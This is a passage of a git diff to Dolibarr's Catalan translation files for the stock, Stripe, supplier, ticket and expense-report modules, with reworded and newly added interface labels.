de ser suficient per a afegir el producte/servei a l'enviament (la comprovació es fa sobre l'estoc real actual quan s'afegeix una línia a l'enviament sigui quina sigui la regla del canvi automàtic d'estoc) -MovementLabel=Etiqueta del moviment +MovementLabel=Nom del moviment TypeMovement=Direcció de moviment DateMovement=Data de moviment InventoryCode=Moviments o codi d'inventari @@ -234,7 +236,7 @@ StockIncrease=Augment d'estoc StockDecrease=Disminució d'estoc InventoryForASpecificWarehouse=Inventari d’un magatzem específic InventoryForASpecificProduct=Inventari d’un producte específic -StockIsRequiredToChooseWhichLotToUse=Es requereix estoc per a triar quin lot utilitzar +StockIsRequiredToChooseWhichLotToUse=Es requereix un estoc existent per a poder triar quin lot utilitzar ForceTo=Obligar a AlwaysShowFullArbo=Mostra l'arbre complet de magatzems a la finestra emergent dels enllaços de magatzem (Advertència: pot disminuir el rendiment de manera espectacular) StockAtDatePastDesc=Aquí podeu veure l'estoc (estoc real) en una data determinada del passat @@ -246,7 +248,7 @@ UpdateByScaningProductBarcode=Actualització per escaneig (codi de barres de pro UpdateByScaningLot=Actualització per escaneig (codi de barres lot|sèrie) DisableStockChangeOfSubProduct=Desactiva el canvi d'estoc de tots els subproductes d'aquest kit durant aquest moviment. ImportFromCSV=Importa la llista de moviments CSV -ChooseFileToImport=Pengeu un fitxer i feu clic a la icona %s per seleccionar el fitxer com a fitxer d'importació d'origen ... +ChooseFileToImport=Carregueu el fitxer i feu clic a la icona %s per a seleccionar el fitxer com a fitxer d'importació d'origen... SelectAStockMovementFileToImport=seleccioneu un fitxer de moviment de valors per importar InfoTemplateImport=El fitxer carregat ha de tenir aquest format (* són camps obligatoris):
      Magatzem font * | Magatzem objectiu * | Producte * | Quantitat * | Número de lot / sèrie
      El separador de caràcters CSV ha de ser " %s " LabelOfInventoryMovemement=Inventari %s @@ -255,7 +257,7 @@ ConfirmFinish=Confirmeu el tancament de l'inventari? Això generarà tots els mo ObjectNotFound=no s'ha trobat %s MakeMovementsAndClose=Generar moviments i tancar AutofillWithExpected=Ompliu la quantitat real amb la quantitat esperada -ShowAllBatchByDefault=Per defecte, mostreu els detalls del lot a la pestanya "existències" del producte +ShowAllBatchByDefault=Per defecte, mostreu els detalls del lot a la pestanya «estoc» del producte CollapseBatchDetailHelp=Podeu configurar la visualització predeterminada del detall del lot a la configuració del mòdul d'existències ErrorWrongBarcodemode=Mode de codi de barres desconegut ProductDoesNotExist=El producte no existeix @@ -266,7 +268,7 @@ WarehouseId=Identificador de magatzem WarehouseRef=Magatzem Ref SaveQtyFirst=Deseu primer les quantitats reals inventariades, abans de demanar la creació del moviment d'existències. ToStart=Comença -InventoryStartedShort=Començada +InventoryStartedShort=Començat ErrorOnElementsInventory=Operació cancel·lada pel motiu següent: ErrorCantFindCodeInInventory=No es pot trobar el codi següent a l'inventari QtyWasAddedToTheScannedBarcode=Èxit!! La quantitat s'ha afegit a tots els codis de barres sol·licitats. Podeu tancar l'eina Escàner. diff --git a/htdocs/langs/ca_ES/stripe.lang b/htdocs/langs/ca_ES/stripe.lang index ff4fd2e511b..46910ccff08 100644 --- a/htdocs/langs/ca_ES/stripe.lang +++ b/htdocs/langs/ca_ES/stripe.lang @@ -28,7 +28,7 @@ AccountParameter=Paràmetres del compte UsageParameter=Paràmetres d'ús InformationToFindParameters=Ajuda per a trobar la vostra informació del compte %s STRIPE_CGI_URL_V2=URL CGI del mòdul Stripe per al pagament -CSSUrlForPaymentForm=Url del full d'estil CSS per al formulari de pagament +CSSUrlForPaymentForm=URL del full d'estil CSS per al formulari de pagament NewStripePaymentReceived=S'ha rebut un pagament nou de Stripe NewStripePaymentFailed=S'ha intentat el pagament nou de Stripe, però ha fallat FailedToChargeCard=No s'ha pogut fer el càrrec a la targeta @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook clau en directe ONLINE_PAYMENT_WAREHOUSE=Estoc a utilitzar per a disminuir l'estoc quan es fa el pagament en línia
      (Pendent de fer quan l'opció per a reduir l'estoc es fa en una acció a la factura i el pagament en línia es genera la seva factura?) StripeLiveEnabled=Stripe live activat (en cas contrari, mode de prova/sandbox) StripeImportPayment=Importar pagaments per Stripe -ExampleOfTestCreditCard=Exemple de targeta de crèdit per a la prova: %s => vàlid, %s => error CVC, %s => caducat, %s => falla la càrrega +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Exemple de compte bancari BAN per a la prova de domiciliació bancària: %s StripeGateways=Passarel·les Stripe OAUTH_STRIPE_TEST_ID=Identificador de client de Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Identificador de client de Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Suprimeix la targeta ConfirmDeleteCard=Estàs segur que vols eliminar aquesta targeta de crèdit o de dèbit? CreateCustomerOnStripe=Crea un client a Stripe CreateCardOnStripe=Crea una targeta a Stripe +CreateBANOnStripe=Crea un banc a Stripe ShowInStripe=Mostra a Stripe StripeUserAccountForActions=Compte d'usuari que s'utilitzarà per a la notificació per correu electrònic d'alguns esdeveniments de Stripe (pagaments de Stripe) StripePayoutList=Llista de pagaments de Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Enllaç a la configuració de Stripe WebHook per truc PaymentWillBeRecordedForNextPeriod=El pagament es registrarà per al període següent. ClickHereToTryAgain= Feu clic aquí per a tornar-ho a provar... CreationOfPaymentModeMustBeDoneFromStripeInterface=A causa de les fortes regles d'autenticació de clients, la creació d'una fitxa s'ha de fer des del panell de Stripe. Podeu fer clic aquí per a activar el registre de clients de Stripe: %s -TERMINAL_LOCATION=Ubicació (adreça) per a terminals +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Sol·liciteu domiciliació bancària amb Stripe +STRIPE_SEPA_DIRECT_DEBIT=Activeu els pagaments per domiciliació bancària mitjançant Stripe + diff --git a/htdocs/langs/ca_ES/supplier_proposal.lang b/htdocs/langs/ca_ES/supplier_proposal.lang index 5a6546a4e81..ab16b6920c5 100644 --- a/htdocs/langs/ca_ES/supplier_proposal.lang +++ b/htdocs/langs/ca_ES/supplier_proposal.lang @@ -51,5 +51,8 @@ ListOfSupplierProposals=Llista de sol·licituds de pressupostos a proveïdor ListSupplierProposalsAssociatedProject=Llista de pressupostos de proveïdor associats al projecte SupplierProposalsToClose=Pressupostos de proveïdor per a tancar SupplierProposalsToProcess=Pressupostos de proveïdor a processar -LastSupplierProposals=Últims %s preus de sol·licitud +LastSupplierProposals=Últimes %s sol·licituds de preus AllPriceRequests=Totes les peticions +TypeContact_supplier_proposal_external_SHIPPING=Contacte amb el proveïdor per al lliurament +TypeContact_supplier_proposal_external_BILLING=Contacte amb el proveïdor per a la facturació +TypeContact_supplier_proposal_external_SERVICE=Agent comercial del seguiment del pressupost diff --git a/htdocs/langs/ca_ES/suppliers.lang b/htdocs/langs/ca_ES/suppliers.lang index f92bd144ae3..d1d5f8c722f 100644 --- a/htdocs/langs/ca_ES/suppliers.lang +++ b/htdocs/langs/ca_ES/suppliers.lang @@ -4,16 +4,17 @@ SuppliersInvoice=Factura del proveïdor SupplierInvoices=Factures de proveïdor ShowSupplierInvoice=Mostra la factura del proveïdor NewSupplier=Proveïdor nou +NewSupplierInvoice = Nova factura de proveïdor History=Històric ListOfSuppliers=Llista de proveïdors ShowSupplier=Mostra el proveïdor OrderDate=Data comanda -BuyingPriceMin=El millor preu de compra -BuyingPriceMinShort=El millor preu de compra +BuyingPriceMin=Millor preu de compra +BuyingPriceMinShort=Millor preu de compra TotalBuyingPriceMinShort=Total dels preus de compra dels subproductes TotalSellingPriceMinShort=Total dels preus de venda de subproductes SomeSubProductHaveNoPrices=Alguns subproductes no tenen preus definits -AddSupplierPrice=Afegeix preu de compra +AddSupplierPrice=Afegeix el preu de compra ChangeSupplierPrice=Canvia el preu de compra SupplierPrices=Preus del proveïdor ReferenceSupplierIsAlreadyAssociatedWithAProduct=Aquesta referència del proveïdor ja està associada amb el producte: %s @@ -51,6 +52,6 @@ RepeatableSupplierInvoice=Plantilla de factura del proveïdor RepeatableSupplierInvoices=Plantilla de factures de proveïdors RepeatableSupplierInvoicesList=Plantilla de factures de proveïdors RecurringSupplierInvoices=Factures de proveïdors recurrents -ToCreateAPredefinedSupplierInvoice=Per crear una plantilla de factura de proveïdor, heu de crear una factura estàndard, després, sense validar-la, feu clic al botó "%s". +ToCreateAPredefinedSupplierInvoice=Per a crear una plantilla de factura de proveïdor, heu de crear una factura estàndard, després, sense validar-la, feu clic al botó «%s». GeneratedFromSupplierTemplate=Generat a partir de la plantilla de factura del proveïdor %s SupplierInvoiceGeneratedFromTemplate=Factura del proveïdor %s Generada a partir de la plantilla de factura del proveïdor %s diff --git a/htdocs/langs/ca_ES/ticket.lang b/htdocs/langs/ca_ES/ticket.lang index 7aa1e274dca..af8e5788f5a 100644 --- a/htdocs/langs/ca_ES/ticket.lang +++ b/htdocs/langs/ca_ES/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modifica tiquets Permission56003=Esborrar tiquets Permission56004=Gestiona els tiquets Permission56005=Veure els tiquets de tots els tercers (no efectiu per als usuaris externs, sempre estarà limitat al tercer del qual depenen) +Permission56006=Exportar tiquets +Tickets=Tiquets TicketDictType=Tiquet - Tipus TicketDictCategory=Tiquet - Grups TicketDictSeverity=Tiquet - Severitats @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Col·laborador extern OriginEmail=Correu electrònic del reporter Notify_TICKET_SENTBYMAIL=Envia el missatge del tiquet per correu electrònic +ExportDataset_ticket_1=Tiquets + # Status Read=Llegit Assigned=Assignat @@ -100,9 +104,9 @@ TicketParamPublicInterface=Configuració de la interfície pública TicketsEmailMustExist=Cal crear una adreça de correu electrònic existent per a crear un tiquet TicketsEmailMustExistHelp=A la interfície pública, l'adreça de correu electrònic ja s'hauria d'emplenar a la base de dades per a crear un nou tiquet. TicketCreateThirdPartyWithContactIfNotExist=Demaneu nom i nom de l'empresa per correus electrònics desconeguts. -TicketCreateThirdPartyWithContactIfNotExistHelp=Comproveu si existeix un tercer o un contacte per al correu electrònic introduït. Si no, demaneu un nom i un nom d'empresa per crear un tercer amb contacte. +TicketCreateThirdPartyWithContactIfNotExistHelp=Comproveu si existeix un tercer o un contacte per al correu electrònic introduït. Si no, demaneu un nom i un nom d'empresa per a crear un tercer amb contacte. PublicInterface=Interfície pública -TicketUrlPublicInterfaceLabelAdmin=URL alternativa per a la interfície pública +TicketUrlPublicInterfaceLabelAdmin=URL alternatiu per a la interfície pública TicketUrlPublicInterfaceHelpAdmin=És possible definir un àlies al servidor web i, per tant, posar a disposició la interfície pública amb una altra URL (el servidor ha d'actuar com a proxy en aquest nou URL) TicketPublicInterfaceTextHomeLabelAdmin=Text de benvinguda de la interfície pública TicketPublicInterfaceTextHome=Podeu crear un tiquet d'assistència o visualitzar existents a partir del seu identificador de traça del tiquet. @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Quan tanqueu un bitllet, se us proposarà enviar un m TicketWrongContact=El contacte sempre que no formi part dels contactes actuals de les entrades. Correu electrònic no enviat. TicketChooseProductCategory=Categoria de producte per al suport de bitllets TicketChooseProductCategoryHelp=Seleccioneu la categoria de producte de suport de bitllets. S'utilitzarà per enllaçar automàticament un contracte amb un bitllet. +TicketUseCaptchaCode=Utilitzeu el codi gràfic (CAPTCHA) quan creeu un tiquet +TicketUseCaptchaCodeHelp=Afegeix la verificació CAPTCHA quan es crea un tiquet nou. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Creat per NewTicket=Tiquet nou SubjectAnswerToTicket=Resposta de tiquet TicketTypeRequest=Tipus de sol·licitud -TicketCategory=Categorització del tiquet +TicketCategory=Grup de tiquet SeeTicket=Consultar tiquet TicketMarkedAsRead=Tiquet ha estat marcat com llegit TicketReadOn=Segueix llegint @@ -192,20 +198,19 @@ TicketAssigned=El tiquet s'ha assignat ara TicketChangeType=Tipus de canvi TicketChangeCategory=Canvia el codi analític TicketChangeSeverity=Canviar el nivell de gravetat -TicketAddMessage=Afegiu un missatge -AddMessage=Afegiu un missatge +TicketAddMessage=Afegeix un missatge privat MessageSuccessfullyAdded=Tiquet afegit TicketMessageSuccessfullyAdded=El missatge s'ha afegit correctament TicketMessagesList=Llista de missatges NoMsgForThisTicket=No hi ha missatges per aquest tiquet TicketProperties=Classificació -LatestNewTickets=Últimes entrades més noves %s (no llegides) +LatestNewTickets=Últims %s tiquets més recents (no llegits) TicketSeverity=Gravetat ShowTicket=Consultar tiquet RelatedTickets=Tiquets relacionats TicketAddIntervention=Crea intervenció -CloseTicket=Tancar | Resoldre el bitllet -AbandonTicket=Abandonar el bitllet +CloseTicket=Tanca|Resol +AbandonTicket=Abandonar CloseATicket=Tancar | Resoldre un bitllet ConfirmCloseAticket=Confirma el tancament del tiquet ConfirmAbandonTicket=Confirmeu el tancament del bitllet a l'estat "Abandonat" @@ -218,19 +223,18 @@ TicketUpdated=Tiquet actualitzat SendMessageByEmail=Envia un missatge per correu electrònic TicketNewMessage=Missatge nou ErrorMailRecipientIsEmptyForSendTicketMessage=El destinatari està buit. Email no enviat -TicketGoIntoContactTab=Aneu a la pestanya "Contactes" per seleccionar-los -TicketMessageMailIntro=Introducció +TicketGoIntoContactTab=Aneu a la pestanya "Contactes" per a seleccionar-los +TicketMessageMailIntro=Capçalera del missatge TicketMessageMailIntroHelp=Aquest text només s'afegeix al principi del correu electrònic i no es desarà. -TicketMessageMailIntroLabelAdmin=Text d'introducció a totes les respostes dels bitllets TicketMessageMailIntroText=Hola,
      S'ha afegit una resposta nova a un bitllet que seguiu. Aquest és el missatge:
      TicketMessageMailIntroHelpAdmin=Aquest text s'inserirà abans de la resposta en respondre a un bitllet de Dolibarr -TicketMessageMailSignature=Signatura -TicketMessageMailSignatureHelp=Aquest text només s'afegeix al final del correu electrònic i no es desarà. -TicketMessageMailSignatureText=Missatge enviat per %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Signatura del correu electrònic de resposta -TicketMessageMailSignatureHelpAdmin=Aquest text s'inserirà després del missatge de resposta. +TicketMessageMailFooter=Missatge del peu de pàgina +TicketMessageMailFooterHelp=Aquest text només s'afegeix al final del missatge enviat per correu electrònic i no es desarà. +TicketMessageMailFooterText=Missatge enviat per %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Aquest text s'inserirà després del missatge de resposta. TicketMessageHelp=Només aquest text es guardarà a la llista de missatges de la targeta de tiquet. TicketMessageSubstitutionReplacedByGenericValues=Les variables de substitució es reemplacen per valors genèrics. +ForEmailMessageWillBeCompletedWith=Per als missatges de correu electrònic enviats a usuaris externs, el missatge es completarà amb TimeElapsedSince=Temps transcorregut des de TicketTimeToRead=Temps transcorregut abans de llegir TicketTimeElapsedBeforeSince=Temps transcorregut abans / després @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=S'ha publicat un nou missatge al tiqu TicketAssignedToYou=Tiquet assignat TicketAssignedEmailBody=Se us ha assignat el tiquet # %s per %s MarkMessageAsPrivate=Marcar el missatge com privat +TicketMessageSendEmailHelp=S'enviarà un correu electrònic a tots els contactes assignats (contactes interns, però també contactes externs, excepte si l'opció «%s» està marcada) TicketMessagePrivateHelp=Aquest missatge no es mostrarà als usuaris externs TicketEmailOriginIssuer=Emissor en l'origen dels tiquets InitialMessage=Missatge inicial @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Podeu veure el progrés del tiquet a la TicketCloseEmailBodyInfosTrackUrlCustomer=Podeu consultar l'historial d'aquest tiquet fent clic al següent enllaç TicketEmailPleaseDoNotReplyToThisEmail=No respongueu directament a aquest correu electrònic. Utilitzeu l'enllaç per respondre des de la mateixa interfície. TicketPublicInfoCreateTicket=Aquest formulari us permet registrar un tiquet de suport al nostre sistema de gestió. -TicketPublicPleaseBeAccuratelyDescribe=Descriviu amb precisió el problema. Proporcioneu la màxima informació possible per a permetre’ns identificar correctament la vostra sol·licitud. +TicketPublicPleaseBeAccuratelyDescribe=Descriu la teva pregunta amb precisió. Proporcioneu la màxima informació possible que ens permeti identificar correctament la vostra sol·licitud. TicketPublicMsgViewLogIn=Introduïu l'identificador de traça dels tiquets (ID) TicketTrackId=ID de seguiment públic OneOfTicketTrackId=Un dels vostres ID de seguiment @@ -331,12 +336,12 @@ ActionsOnTicket=Esdeveniments en tiquets # # Boxes # -BoxLastTicket=Últimes entrades creades -BoxLastTicketDescription=Últimes entrades creades %s +BoxLastTicket=Últims tiquets creats +BoxLastTicketDescription=Últims %s tiquets creats BoxLastTicketContent= BoxLastTicketNoRecordedTickets=No hi ha tiquets pendents de llegir recents BoxLastModifiedTicket=Últims tiquets modificats -BoxLastModifiedTicketDescription=Últimes entrades modificades %s +BoxLastModifiedTicketDescription=Últims %s tiquets modificats BoxLastModifiedTicketContent= BoxLastModifiedTicketNoRecordedTickets=No hi ha tiquets modificats recentment BoxTicketType=Distribució dels tiquets oberts per tipus diff --git a/htdocs/langs/ca_ES/trips.lang b/htdocs/langs/ca_ES/trips.lang index 96c385f47f4..ff999beb238 100644 --- a/htdocs/langs/ca_ES/trips.lang +++ b/htdocs/langs/ca_ES/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips +AUTHOR=Desat per +AUTHORPAIEMENT=Pagat per +AddTrip=Crear informe de despeses +AllExpenseReport=Tots els tipus d’informe de despeses +AllExpenseReports=Tots els informes de despeses +AnyOtherInThisListCanValidate=Persona a informar per a validar la sol·licitud. +AttachTheNewLineToTheDocument=Adjunta la línia a un document carregat +AucuneLigne=Encara no hi ha informe de despeses declarat +BrouillonnerTrip=Tornar l'informe de despeses a l'estat "Esborrany" +byEX_DAY=per dia (limitació a %s) +byEX_EXP=per línia (limitació a %s) +byEX_MON=per mes (limitació a %s) +byEX_YEA=per any (limitació a %s) +CANCEL_USER=Eliminat per +CarCategory=Categoria de vehicles +ClassifyRefunded=Marca «Reemborsat» +CompanyVisited=Empresa/organització visitada +ConfirmBrouillonnerTrip=Esteu segur que voleu traslladar aquest informe de despeses a l'estat "Esborrany"? +ConfirmCancelTrip=Estàs segur que vols cancel·lar aquest informe de despeses? +ConfirmCloneExpenseReport=Estàs segur de voler clonar aquest informe de despeses ? +ConfirmDeleteTrip=Estàs segur que vols eliminar aquest informe de despeses? +ConfirmPaidTrip=Esteu segur que voleu canviar l'estat d'aquest informe de despeses a "Pagat"? +ConfirmRefuseTrip=Estàs segur que vols denegar aquest informe de despeses? +ConfirmSaveTrip=Estàs segur que vols validar aquest informe de despeses? +ConfirmValideTrip=Estàs segur que vols aprovar aquest informe de despeses? +DATE_CANCEL=Data de cancel·lació +DATE_PAIEMENT=Data de pagament +DATE_REFUS=Data de denegació +DATE_SAVE=Data de validació +DefaultCategoryCar=Mode de transport per defecte +DefaultRangeNumber=Número de rang per defecte +DeleteTrip=Suprimeix l'informe de despeses +ErrorDoubleDeclaration=Has declarat un altre informe de despeses en un altre rang de dates semblant +Error_EXPENSEREPORT_ADDON_NotDefined=Error, la regla per a la numeració d'informes de despeses no es va definir a la configuració del mòdul "Informe de despeses" +ExpenseRangeOffset=Quantitat d'offset: %s +expenseReportCatDisabled=Categoria deshabilitada: consulteu el diccionari c_exp_tax_cat +expenseReportCoef=Coeficient +expenseReportCoefUndefined=(valor no definit) +expenseReportOffset=Decàleg +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=S'ha desactivat el rang: consulteu el diccionari c_exp_tax_range +expenseReportRangeFromTo=de %d a %d +expenseReportRangeMoreThan=més de %d +expenseReportTotalForFive=Exemple amb d = 5 +ExpenseReportApplyTo=Aplicar a +ExpenseReportApproved=S'ha aprovat un informe de despeses +ExpenseReportApprovedMessage=S'ha aprovat l'informe de despeses %s.
      - Usuari: %s
      - Aprovat per: %s
      Feu clic aquí per a veure l'informe de despeses: %s +ExpenseReportCanceled=S'ha cancel·lat un informe de despeses +ExpenseReportCanceledMessage=L'informe de despeses %s s'ha cancel·lat.
      - Usuari: %s
      - Cancel·lat per: %s
      - Motiu de cancel·lació: %s
      Cliqueu aquí per a veure l'informe de despeses: %s +ExpenseReportConstraintViolationError=S'ha superat la quantitat màxima (regla %s): %s és superior a %s (excedit prohibit) +ExpenseReportConstraintViolationWarning=S'ha superat l'import màxim (regla %s): %s és superior a %s (supera l'autoritzat) +ExpenseReportDateEnd=Data fi +ExpenseReportDateStart=Data d'inici +ExpenseReportDomain=Domini a aplicar +ExpenseReportIkDesc=Podeu modificar el càlcul de les despeses de quilometratge per categoria i abast, els quals s'han definit anteriorment. d és la distància en quilòmetres +ExpenseReportLimitAmount=Import màxim +ExpenseReportLimitOn=Limitar a +ExpenseReportLine=Línia de l'informe de despeses +ExpenseReportPaid=S'ha pagat un informe de despeses +ExpenseReportPaidMessage=L'informe de despeses %s s'ha pagat.
      - Usuari: %s
      - Pagat per: %s
      Feu clic aquí per a veure l'informe de despeses: %s +ExpenseReportPayment=Informe de despeses pagades +ExpenseReportRef=Ref. de l'informe de despeses +ExpenseReportRefused=S'ha rebutjat un informe de despeses +ExpenseReportRefusedMessage=L'informe de despeses %s s'ha denegat.
      - Usuari: %s
      - Rebutjat per: %s
      - Motiu de denegació: %s
      Cliqueu aquí per a veure l'informe de despeses: %s +ExpenseReportRestrictive=Superació prohibida +ExpenseReportRuleErrorOnSave=Error: %s +ExpenseReportRuleSave=S'ha desat la regla de l'informe de despeses +ExpenseReportRulesDesc=Podeu definir regles d'import màxim per als informes de despeses. Aquestes regles s'aplicaran quan s'afegeixi una nova despesa a un informe de despeses +ExpenseReportWaitingForApproval=S'ha generat un nou informe de vendes per aprovació +ExpenseReportWaitingForApprovalMessage=S'ha enviat un nou informe de despeses i està pendent d'aprovació.
      - Usuari: %s
      - Període: %s
      Cliqueu aquí per a validar: %s +ExpenseReportWaitingForReApproval=S'ha generat un informe de despeses per a re-aprovació +ExpenseReportWaitingForReApprovalMessage=S'ha enviat un informe de despeses i s'està esperant una nova aprovació.
      L'%s, us heu negat a aprovar l'informe de despeses per aquest motiu: %s.
      S'ha proposat una nova versió i està esperant la vostra aprovació.
      - Usuari: %s
      - Període: %s
      Feu clic aquí per a validar: %s +ExpenseReportsIk=Configuració de les despeses de quilometratge +ExpenseReportsRules=Normes d'informe de despeses +ExpenseReportsToApprove=Informes de despeses per a aprovar +ExpenseReportsToPay=Informes de despeses a pagar +ExpensesArea=Àrea d'informes de despeses +FeesKilometersOrAmout=Import o quilòmetres +LastExpenseReports=Últims %s informes de despeses +ListOfFees=Llista de taxes +ListOfTrips=Llistat de informes de despeses +ListToApprove=Pendent d'aprovació +ListTripsAndExpenses=Llistat d'informes de despeses +MOTIF_CANCEL=Raó +MOTIF_REFUS=Raó +ModePaiement=Tipus de pagament +NewTrip=Informe de despeses nou +nolimitbyEX_DAY=per dia (sense límits) +nolimitbyEX_EXP=per línia (sense límits) +nolimitbyEX_MON=per mes (sense límits) +nolimitbyEX_YEA=per any (sense límits) +NoTripsToExportCSV=No hi ha cap informe de despeses per a exportar en aquest període. +NOT_AUTHOR=No sou l’autor d’aquest informe de despeses. Operació cancel·lada. +OnExpense=Línia de despesa +PDFStandardExpenseReports=Plantilla estàndard per a generar un document PDF per a l'informe de despeses +PaidTrip=Pagar un informe de despeses +REFUSEUR=Denegat per +RangeIk=Rang de quilometratge +RangeNum=Rang %d +SaveTrip=Valida l'informe de despeses ShowExpenseReport=Mostra l'informe de despeses +ShowTrip=Mostra l'informe de despeses +TripCard=Informe de despesa de targeta +TripId=Id d'informe de despeses +TripNDF=Informacions de l'informe de despeses +TripSociete=Informació de l'empresa Trips=Informes de despeses TripsAndExpenses=Informes de despeses TripsAndExpensesStatistics=Estadístiques de l'informe de despeses -TripCard=Informe de despesa de targeta -AddTrip=Crear informe de despeses -ListOfTrips=Llistat de informes de despeses -ListOfFees=Llista de taxes TypeFees=Tipus de despeses -ShowTrip=Mostra l'informe de despeses -NewTrip=Informe de despeses nou -LastExpenseReports=Últims %s informes de despeses -AllExpenseReports=Tots els informes de despeses -CompanyVisited=Empresa/organització visitada -FeesKilometersOrAmout=Import o quilòmetres -DeleteTrip=Suprimeix l'informe de despeses -ConfirmDeleteTrip=Estàs segur que vols eliminar aquest informe de despeses? -ListTripsAndExpenses=Llistat d'informes de despeses -ListToApprove=Pendent d'aprovació -ExpensesArea=Àrea d'informes de despeses -ClassifyRefunded=Classifica "Retornat" -ExpenseReportWaitingForApproval=S'ha generat un nou informe de vendes per aprovació -ExpenseReportWaitingForApprovalMessage=S'ha enviat un nou informe de despeses i està pendent d'aprovació.
      - Usuari: %s
      - Període: %s
      Cliqueu aquí per validar: %s -ExpenseReportWaitingForReApproval=S'ha generat un informe de despeses per a re-aprovació -ExpenseReportWaitingForReApprovalMessage=S'ha enviat un informe de despeses i està a l'espera de la seva aprovació.
      %s, es va negar a aprovar l'informe de despeses per aquest motiu: %s.
      S'ha proposat una nova versió i espera la seva aprovació.
      - Usuari: %s
      - Període: %s
      Cliqueu aquí per validar: %s -ExpenseReportApproved=S'ha aprovat un informe de despeses -ExpenseReportApprovedMessage=S'ha aprovat l'informe de despeses %s.
      - Usuari: %s
      - Aprovat per: %s
      Feu clic aquí per a veure l'informe de despeses: %s -ExpenseReportRefused=S'ha rebutjat un informe de despeses -ExpenseReportRefusedMessage=L'informe de despeses %s s'ha denegat.
      - Usuari: %s
      - Rebutjat per: %s
      - Motiu de denegació: %s
      Cliqueu aquí per a veure l'informe de despeses: %s -ExpenseReportCanceled=S'ha cancel·lat un informe de despeses -ExpenseReportCanceledMessage=L'informe de despeses %s s'ha cancel·lat.
      - Usuari: %s
      - Cancel·lat per: %s
      - Motiu de cancel·lació: %s
      Cliqueu aquí per a veure l'informe de despeses: %s -ExpenseReportPaid=S'ha pagat un informe de despeses -ExpenseReportPaidMessage=L'informe de despeses %s s'ha pagat.
      - Usuari: %s
      - Pagat per: %s
      Feu clic aquí per a veure l'informe de despeses: %s -TripId=Id d'informe de despeses -AnyOtherInThisListCanValidate=Persona que s’ha d’informar per validar la sol·licitud. -TripSociete=Informació de l'empresa -TripNDF=Informacions de l'informe de despeses -PDFStandardExpenseReports=Plantilla estàndard per a generar un document PDF per a l'informe de despeses -ExpenseReportLine=Línia de l'informe de despeses -TF_OTHER=Altres -TF_TRIP=Transport -TF_LUNCH=Dieta -TF_METRO=Metro -TF_TRAIN=Tren -TF_BUS=Bus -TF_CAR=Cotxe -TF_PEAGE=Peatge -TF_ESSENCE=Combustible -TF_HOTEL=Hotel -TF_TAXI=Taxi -EX_KME=Cost de quilometratge -EX_FUE=CV de benzina -EX_HOT=Hotel -EX_PAR=CV d'aparcament -EX_TOL=CV de peatge -EX_TAX=Impostos varis -EX_IND=Indemnització de subscripció de transport -EX_SUM=Subministrament de manteniment -EX_SUO=Material d'oficina -EX_CAR=Lloguer de cotxes -EX_DOC=Documentació -EX_CUR=Clients que reben -EX_OTR=Altres que reben -EX_POS=Franqueig -EX_CAM=CV de manteniment i reparació -EX_EMM=Dinar dels empleats -EX_GUM=Menjar de convidats -EX_BRE=Esmorzar -EX_FUE_VP=PV de benzina -EX_TOL_VP=PV de peatge -EX_PAR_VP=PV d'aparcament -EX_CAM_VP=PV de manteniment i reparació -DefaultCategoryCar=Mode de transport per defecte -DefaultRangeNumber=Número de rang per defecte UploadANewFileNow=Carrega ara un document nou -Error_EXPENSEREPORT_ADDON_NotDefined=Error, la regla per a la numeració d'informes de despeses no es va definir a la configuració del mòdul "Informe de despeses" -ErrorDoubleDeclaration=Has declarat un altre informe de despeses en un altre rang de dates semblant -AucuneLigne=Encara no hi ha informe de despeses declarat -ModePaiement=Tipus de pagament VALIDATOR=Usuari responsable de l'aprovació VALIDOR=Aprovat per -AUTHOR=Desat per -AUTHORPAIEMENT=Pagat per -REFUSEUR=Denegat per -CANCEL_USER=Eliminat per -MOTIF_REFUS=Raó -MOTIF_CANCEL=Raó -DATE_REFUS=Data de denegació -DATE_SAVE=Data de validació -DATE_CANCEL=Data de cancel·lació -DATE_PAIEMENT=Data de pagament -ExpenseReportRef=Ref. de l'informe de despeses ValidateAndSubmit=Validar i sotmetre a aprovació ValidatedWaitingApproval=Validat (pendent d'aprovació) -NOT_AUTHOR=No sou l’autor d’aquest informe de despeses. Operació cancel·lada. -ConfirmRefuseTrip=Estàs segur que vols denegar aquest informe de despeses? ValideTrip=Aprova l'informe de despeses -ConfirmValideTrip=Estàs segur que vols aprovar aquest informe de despeses? -PaidTrip=Pagar un informe de despeses -ConfirmPaidTrip=Esteu segur que voleu canviar l'estat d'aquest informe de despeses a "Pagat"? -ConfirmCancelTrip=Estàs segur que vols cancel·lar aquest informe de despeses? -BrouillonnerTrip=Tornar l'informe de despeses a l'estat "Esborrany" -ConfirmBrouillonnerTrip=Esteu segur que voleu traslladar aquest informe de despeses a l'estat "Esborrany"? -SaveTrip=Valida l'informe de despeses -ConfirmSaveTrip=Estàs segur que vols validar aquest informe de despeses? -NoTripsToExportCSV=No hi ha cap informe de despeses per a exportar en aquest període. -ExpenseReportPayment=Informe de despeses pagades -ExpenseReportsToApprove=Informes de despeses per a aprovar -ExpenseReportsToPay=Informes de despeses a pagar -ConfirmCloneExpenseReport=Estàs segur de voler clonar aquest informe de despeses ? -ExpenseReportsIk=Configuració de les despeses de quilometratge -ExpenseReportsRules=Normes d'informe de despeses -ExpenseReportIkDesc=Podeu modificar el càlcul de les despeses de quilometratge per categoria i abast, els quals s'han definit anteriorment. d és la distància en quilòmetres -ExpenseReportRulesDesc=Podeu definir regles d'import màxim per als informes de 